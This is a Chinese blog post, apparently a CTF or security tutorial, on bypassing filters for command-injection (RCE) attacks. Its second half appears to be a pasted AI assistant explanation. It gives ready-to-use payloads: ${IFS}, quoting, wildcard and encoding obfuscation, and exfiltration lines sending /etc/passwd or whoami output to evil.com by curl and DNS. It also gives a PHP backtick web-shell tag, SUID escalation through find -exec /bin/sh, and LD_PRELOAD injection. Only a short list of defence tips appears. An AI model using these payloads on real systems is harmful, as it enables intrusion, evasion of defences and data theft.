命令执行绕过与替代技巧全解析 作者: ynnddddd 时间: 2024-10-28 分类: 网络安全,RCE ## 一、文件操作命令替代方案 ### 1.1 基础文件查看命令 ```bash cat # 标准文件查看 tac # 逆序显示(cat的反向) more # 分页查看(仅向下) less # 分页查看(支持上下) head # 显示文件头部 tail # 显示文件尾部 nl # 显示带行号内容 od # 二进制格式查看 ``` ### 1.2 特殊场景替代方案 ```bash rev # 字符逆序显示 sort # 排序显示 uniq # 去重显示 strings # 提取可打印字符 file -f # 强制解析文件类型 curl file:// # 通过URL协议读取 bash -v # 调试模式显示脚本 ``` ## 二、命令执行关键技巧 ### 2.1 空白符绕过方案 | 方法 | 示例 | 适用场景 | |-------------------|--------------------------|---------------| | ${IFS} | cat${IFS}flag.txt | 通用空格替换 | | 重定向符 | cat cat file1 file2... # 变量拼接技巧 a=fl;b=ag; cat $a$b # 通配符扩展 cat fla* # 匹配flag/flags等 cat ???.txt # 匹配三位文件名 # 编码执行 echo bHM= | base64 -d | bash # 执行ls ``` ### 2.3 黑名单绕过策略 ```bash # 字符转义 c\at fl\ag.php c''at fl''ag # 路径混淆 cat /???/pass* # 匹配/etc/passwd cat /etc$u/passwd # 通过未定义变量$u插入空值 # 环境变量注入 INJECT="cat flag"; $INJECT # 花括号扩展 {cat,flag.txt} ``` ## 三、高级RCE绕过技术 ### 3.1 特殊符号利用 ```bash # 管道符组合 echo "ls" | sh whoami || ping -c 1 evil.com # 分号链式执行 ls; pwd; cat flag # 利用短标签(PHP环境) =`$_GET[1]`?> ``` ### 3.2 编码混淆技巧 ```bash # Hex编码 echo -e "\x6c\x73" | bash # Octal编码 $(printf "\154\163") # 等价于ls # Unicode编码 $(echo -e "\u006c\u0073") ``` ### 3.3 无回显利用技巧 ```bash # DNS外带数据 ping `whoami`.evil.com # HTTP请求外传 curl http://evil.com/?data=$(cat flag) # 延时盲注 sleep $(grep -c key file) ``` ## 四、防御规避策略 ### 4.1 文件系统探测 ```bash # 绕过路径限制 cat $(echo /et??pa??w?) # 使用find命令 find / -name flag* -exec cat {} \; ``` ### 4.2 权限提升技巧 ```bash # SUID利用 find / -perm -4000 2>/dev/null # 共享库注入 LD_PRELOAD=/evil.so /bin/program ``` ## 五、防护建议 1. 使用白名单机制验证输入 2. 对特殊字符进行严格过滤 3. 限制命令执行权限 4. 及时更新系统补丁 5. 部署WAF等防护设备 **实战技巧**:在受限环境中,优先尝试`base64编解码`、`通配符扩展`和`环境变量注入`这三种最通用的绕过方式。多数防御系统对这些手法的检测存在盲区。 了解你的需求!下面我会用通俗易懂的方式详细解释这些注入手段的原理和实际应用,配合具体示例帮助你理解。 --- ------------ ------------ ------------ ## **2.3 黑名单绕过策略详解** ### **1. 环境变量注入** **原理**: Linux系统中可以将命令存储在环境变量中,通过`$变量名`方式调用。当过滤系统检测命令字符串时,可能不会检查变量内容。 **功能**: - 拆分敏感命令字符串 - 动态构造执行命令 **示例**: ```bash # 将命令拆分为变量存储 cmd_part1="ca" cmd_part2="t" file_part1="fla" file_part2="g.txt" # 组合执行 $cmd_part1$cmd_part2 ${file_part1}${file_part2} # 等价于 cat flag.txt ``` --- ### **2. 花括号扩展 { }** **原理**: Bash shell的特性,用于生成多个参数或命令组合。花括号内的内容会按逗号分隔展开为独立元素。 **功能**: - 绕过简单字符串匹配 - 快速生成命令变体 **示例**: ```bash # 文件读取 {cat,flag.txt} # 展开为 cat flag.txt {ls,-l} # 展开为 ls -l # 命令组合 {echo,test} | {sh} # 输出test并传给sh执行 ``` --- ### **3. 管道符 | 和逻辑符 ||** **管道符 |**: 将前一个命令的输出作为后一个命令的输入。 **示例**: ```bash # 常规用法 ls | grep ".txt" # 列出所有txt文件 # 绕过过滤 echo "cat flag.txt" | bash # 通过管道执行命令 ``` **逻辑或 ||**: 当前面命令执行失败时,才会执行后面的命令。可用于绕过某些检测逻辑。 **示例**: ```bash # 正常情况不会触发 invalid_command || echo "This executes only if first fails" # 实际绕过案例 ping -c 1 google.com || cat /etc/passwd # 如果ping被拦截则读取密码文件 ``` --- ## **3.1 特殊符号利用扩展** ### **短标签利用(PHP环境)** **原理**: 在PHP中,`= ?>`是短开标签,结合反引号执行系统命令。 **示例**: ```php =`$_GET[cmd]`?> # 通过URL参数执行:http://site.com/?cmd=ls ``` --- ## **3.2 编码混淆技巧详解** ### **Hex编码** **原理**: 将字符转换为十六进制ASCII码,通过`\x`前缀表示。 **示例**: ```bash # 编码 ls 命令 echo -e "\x6c\x73" | bash # \x6c=l, \x73=s ``` --- ### **Octal编码** **原理**: 使用八进制ASCII码表示字符。 **示例**: ```bash $(printf "\154\163") # 154=o(114)=l, 163=o(163)=s → ls ``` --- ## **3.3 无回显利用技巧** ### **evil.com 是什么?** 这是攻击者控制的恶意域名,用于外带数据。当目标服务器无法直接返回数据时,可以通过网络请求泄露信息。 **DNS外带示例**: ```bash # 将当前用户通过DNS查询发送 ping `whoami`.evil.com # 实际请求:root.evil.com 的DNS查询 ``` **HTTP外带示例**: ```bash # 通过curl发送敏感文件内容 curl http://evil.com/ --data @/etc/passwd ``` --- ## **四、防御规避策略扩展** ### **文件系统探测技巧** ```bash # 使用通配符模糊匹配 cat /???/pass* # 匹配/etc/passwd # 利用find命令 find / -name "*flag*" -exec cat {} \; 2>/dev/null ``` --- ### **权限提升(SUID利用)** **原理**: SUID权限的文件会以所有者权限运行。如果某个程序有SUID权限且存在漏洞,就可能被利用。 **操作流程**: 1. 查找SUID文件: ```bash find / -perm -4000 2>/dev/null ``` 2. 常见危险程序: - `/bin/bash` - `/usr/bin/vim` - `/usr/bin/find` 3. 利用示例(以find为例): ```bash find /etc/passwd -exec "/bin/sh" \; ``` --- ## **五、关键概念总结** | 技术名称 | 核心原理 | 典型应用场景 | |------------------|-----------------------------------|--------------------------| | 环境变量注入 | 通过变量存储/拼接敏感命令 | 拆分`cat`、`ls`等关键字 | | 花括号扩展 | Bash自动展开花括号内元素 | 快速构造`cat flag.txt` | | 管道符 | 连接多个命令的输入输出 | 隐藏真实执行意图 | | DNS外带 | 通过DNS协议泄露数据 | 防火墙严格限制HTTP时 | | SUID提权 | 利用特殊权限程序执行命令 | 系统存在配置漏洞时 | --- ## **实战练习建议** 1. 在本地Linux虚拟机中测试: ```bash # 测试环境变量注入 TEST_CMD="l" && $TEST_CMD"s" # 测试花括号扩展 {ec,ho} "hello world" ``` 2. 使用在线沙箱体验无回显攻击: https://explainshell.com/(命令解析) https://requestinspector.com/(查看HTTP请求) 3. 防御实验: 尝试编写一个简单的命令过滤脚本,测试能否阻断上述攻击手法。 标签: none